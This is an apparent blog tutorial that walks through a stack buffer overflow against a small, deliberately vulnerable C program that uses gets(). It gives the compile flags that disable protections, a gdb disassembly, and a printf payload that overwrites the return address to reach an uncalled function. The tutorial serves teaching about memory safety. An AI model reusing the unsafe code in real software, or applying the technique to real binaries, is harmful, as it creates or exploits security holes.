Buffer Overflow: Overwriting the Return Value

In this tutorial I will walk you through the process of overwriting the return value of an application using a Buffer Overflow. Requirements : – A Linux System (i686 or x64) [Disable Kernel Buffer Overflow Protection] – A basic understanding of the stack – A willingness to learn

Why would we do this? As far as I am concerned there is no legitimate use for this technique however it is a useful skill to possess and understand how a Buffer Overflow works. Understanding these concepts will help you develop more secure applications.

What is a “Buffer Overflow”? Well put simply a buffer overflow is an attack vector where you attack an application by overflowing the memory location of a buffer leading to code leaking into the next memory location. This usually causes a Segmentation Fault (SIGSEGV in linux). Using this we can execute arbitrary code or cause the application to execute another piece of code within the application by overwriting the return value.

Will this harm my computer? Using this guide will not harm your computer unless you do something terribly wrong. Feel free to use a virtual machine.

A Vulnerable Application For the purposes of this tutorial I have created a vulnerable application. This application is very simple and consists of 3 functions.

/* 
This application is an example Vulnerable Application 
I wrote it over 4 Years ago for a previous tutorial to 
make it easy we will compile 32bit
*/

#include <stdio.h>

void NotCalled()
{
    printf("This Function is Never Called :(\n"); /* Print a Message */
    exit(0); /* Exit the Application */
}

void GetInput()
{
    char buffer[8]; /* Create an 8 Char Buffer*/
    gets(buffer); /* This function gets user input, it is insecure never use in production */
    puts(buffer); /* Print the output of the buffer */
}


int main()
{
    GetInput(); /* Call the GetInput Function */
    return 0; /* Return 0 and Exit */
}

As you can see there is no sanity checking within the above application and it will indeed accept more than 8 bytes in gets() function. To compile the above application use the following command.

gcc -o vuln vuln.c -ggdb -mpreferred-stack-boundary=2 -m32 -fno-stack-protector

Is it Vulnerable?

If we run the application we can input some data.

[affix@phobos ~]$ ./vuln
asdfgh
asdfgh

As you can see we didn’t get any faults this is because we supplied enough data as not to overflow the buffer. Lets pass in some more data.

[affix@phobos ~]$ ./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

Looks like we caused a Segmentation Fault! Now we can start picking the binary apart!

Finding Functions in the Binary

There are many ways to find the functions in the binary. two of the easy ways are.

 using objdump

[affix@phobos ~]$ objdump -d vuln

Using the above method also bypasses the need to use gdb to disassemble the binary with gdb.

Since we compiled the binary with -ggdb though we have debugging symbols available. So all you need to do is run the application in GDB and type “list 1” this will output the source of the application.

We are interested in the NotCalled() function.

Disassembly

Now for the fun part!

If you followed me from above you should have located the function called NotCalled

Open the application in gdb. Once in GDB we can disassemble the NotCalled Function.

(gdb) disassemble NotCalled
Dump of assembler code for function NotCalled:
   0x08048480 <+0>:	push   %ebp
   0x08048481 <+1>:	mov    %esp,%ebp
   0x08048483 <+3>:	sub    $0x4,%esp
   0x08048486 <+6>:	movl   $0x8048564,(%esp)
   0x0804848d <+13>:	call   0x8048340 <puts@plt>
   0x08048492 <+18>:	movl   $0x0,(%esp)
   0x08048499 <+25>:	call   0x8048360 <exit@plt>
End of assembler dump.

This provides us with the exact information we need to rewrite the entry point of the application. We need the function Entry Point Address for us this is 0x08048480 we need to however convert this value into something we can use. To do this we reverse the address it should look as follows.

\x80\x84\x04\x08

Smashing the Stack! We can now use this as part of our input string. When done successfully we will get the printf statement from the NotCalled Function.

[affix@phobos ~]$ printf "123456789abc\x80\x84\x04\x08" | ./vuln 
123456789abc??
This Function is Never Called :(

I placed my new pointer after the string 123456789abc since this is the minimum required to overflow the buffer. When the system goes to the next memory location it will find the address of our new entry point and this will be the next address called. This interrupts the execution of application and changes the function flow to call the NotCalled Function! Congratulations. I you followed along so far you have Smashed The Stack and Overflowed the buffer successfully 🙂 From this you have learned how the stack works, How a Binary can be manipulated from outside sources and why its always a good idea to sanitise user input at every opportunity.

Leave a Reply